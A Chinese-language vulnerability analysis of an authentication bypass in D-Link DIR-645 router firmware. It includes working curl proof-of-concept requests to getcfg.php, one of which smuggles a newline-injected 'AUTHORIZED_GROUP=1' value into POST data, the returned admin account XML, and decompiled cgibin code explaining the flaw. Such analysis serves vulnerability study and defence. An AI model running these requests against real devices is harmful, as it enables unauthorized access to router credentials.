D-Link DIR-645 getcfg.php 权限绕过漏洞分析

D-Link DIR-645 getcfg.php 权限绕过漏洞分析。

漏洞信息

漏洞编号:无

漏洞类型:权限绕过

漏洞组件:/usr/sbin/phpcgi

漏洞路由:/getcfg.php

影响范围:

  • D-Link DIR-645 <= A1 1.06B01

漏洞复现

基于 D-Link DIR-645 A1 1.03B11 版本进行测试。

对于 1.02 及之前版本固件的 PoC 如下。

1
curl -d SERVICES=DEVICE.ACCOUNT http://xx.xx.xx.xx/getcfg.php

对于 1.02 之后版本固件的 PoC 如下。

1
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"

执行命令,得到设备用户的用户名和密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://192.168.0.1/getcfg.php"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-645</gw_name>

<account>
<seqno></seqno>
<max>2</max>
<count>1</count>
<entry>
<uid></uid>
<name>Admin</name>
<usrid></usrid>
<password></password>
<group>0</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>

漏洞分析

根据漏洞路由,查看 /htdocs/web/getcfg.php 页面的主要代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
}
?></postxml>

页面调用 is_power_user 函数对当前请求的权限进行验证,通过后根据 SERVICES 参数的值读取 /htdocs/webinc/getcfg/ 目录下的文件内容。

/htdocs/webinc/getcfg/ 目录下有许多配置文件,其中 DEVICE.ACCOUNT.xml.php 便可以读取设备的账号信息。

页面权限的验证方式为当 AUTHORIZED_GROUP 全局变量的值是为空或者为 “0” 时,表示验证失败,否则表示验证成功。

1
2
3
4
5
6
7
8
9
10
11
12
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}

经过全局字符串搜索,猜测全局变量在负责 php 文件请求的 /usr/sbin/phpcgi 文件中进行处理。

1
2
$ ls -l usr/sbin/phpcgi 
lrwxrwxrwx 1 person person 14 Oct 22 01:47 usr/sbin/phpcgi -> /htdocs/cgibin

查看 cgibin 文件的 main 函数可知,phpcgi 文件由 phpcgi_main 函数负责处理。

1
2
3
4
5
6
if ( !strcmp(v3, "phpcgi") )
{
v8 = phpcgi_main;
v9 = argc;
return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp);
}

phpcgi_main 函数中,根据请求方式的不同,将选择不同的解析函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  req_method = getenv("REQUEST_METHOD");
req_method_1 = req_method;
if ( !req_method )
goto LABEL_20;
if ( !strcasecmp(req_method, "HEAD") || !strcasecmp(req_method_1, "GET") )
{
parser = t_get_parser;
goto LABEL_13;
}
if ( strcasecmp(req_method_1, "POST") )
{
LABEL_20:
v5 = -1;
goto LABEL_21;
}
parser = t_post_parser;

程序调用 cgibin_parse_request 函数对 HTTP 请求的内容进行解析,最终将解析后的参数交给 PHP 页面进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
v5 = cgibin_parse_request(parser, req_args_1, 0x80000);
if ( v5 >= 0 )
{
v13 = sess_validate();
sprintf(auth_group, "AUTHORIZED_GROUP=%d", v13);
sobj_add_string(req_args_1, auth_group);
sobj_add_char(req_args_1, '\n');
sobj_add_string(req_args_1, "SESSION_UID=");
sess_get_uid(req_args_1);
sobj_add_char(req_args_1, '\n');
string = sobj_get_string(req_args_1);
v5 = xmldbc_ephp(0, 0, string, stdout);
}
else if ( v5 == -100 )
{
v12 = fopen("/htdocs/web/info.php", "r");
if ( v12 )
{
fclose(v12);
cgibin_print_http_resp(1, "/info.php", "FAIL", "ERR_REQ_TOO_LONG");
}
}
else
{
cgibin_print_http_status(400, "unsupported HTTP request", "unsupported HTTP request");
}

请求解析完成之后,程序将根据 Session 的有效性,设置 AUTHORIZED_GROUPSESSION_UID 参数的值。

分析请求解析函数可知,程序以 & 作为分隔符对 Post 请求中的数据进行解析,然后使用 \n 作为分隔符对解析后的参数进行存储,存储的参数名称为 _POST_XXXX 格式。

1
2
3
4
5
6
7
8
9
10
11
12
  else
{
sobj_add_string(req_args, "_POST_");
v5 = sobj_get_string(a2[1]);
sobj_add_string(req_args, v5);
sobj_add_char(req_args, '=');
v6 = a2[2];
}
v11 = (void **)sobj_get_string(v6);
LABEL_11:
sobj_add_string(req_args, v11);
return sobj_add_char(req_args, '\n');

因此,当 Post 请求数据中有 A=a%0aAUTHORIZED_GROUP=1 参数时,将会被解析成 _POST_A=a\nAUTHORIZED_GROUP=1 形式的数据。

由于在参数列表中,解析数据比最终的权限校验数据位置靠前,所以导致 PHP 读取所需参数时,先得到伪造的校验数据,而非正确的校验数据。从而实现权限认证的绕过。

漏洞利用

根据漏洞分析,构造绕过权限认证的 Post 数据。

1
SERVICES=DEVICE.ACCOUNT&A=a%0aAUTHORIZED_GROUP=1

读取设备的账号信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ curl -d "SERVICES=DEVICE.ACCOUNT&A=a%0aAUTHORIZED_GROUP=1" "http://192.168.0.1/getcfg.php"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-645</gw_name>

<account>
<seqno></seqno>
<max>2</max>
<count>1</count>
<entry>
<uid></uid>
<name>Admin</name>
<usrid></usrid>
<password></password>
<group>0</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>

参考链接

Dlink getcfg.php远程敏感信息读取漏洞分析 - 先知社区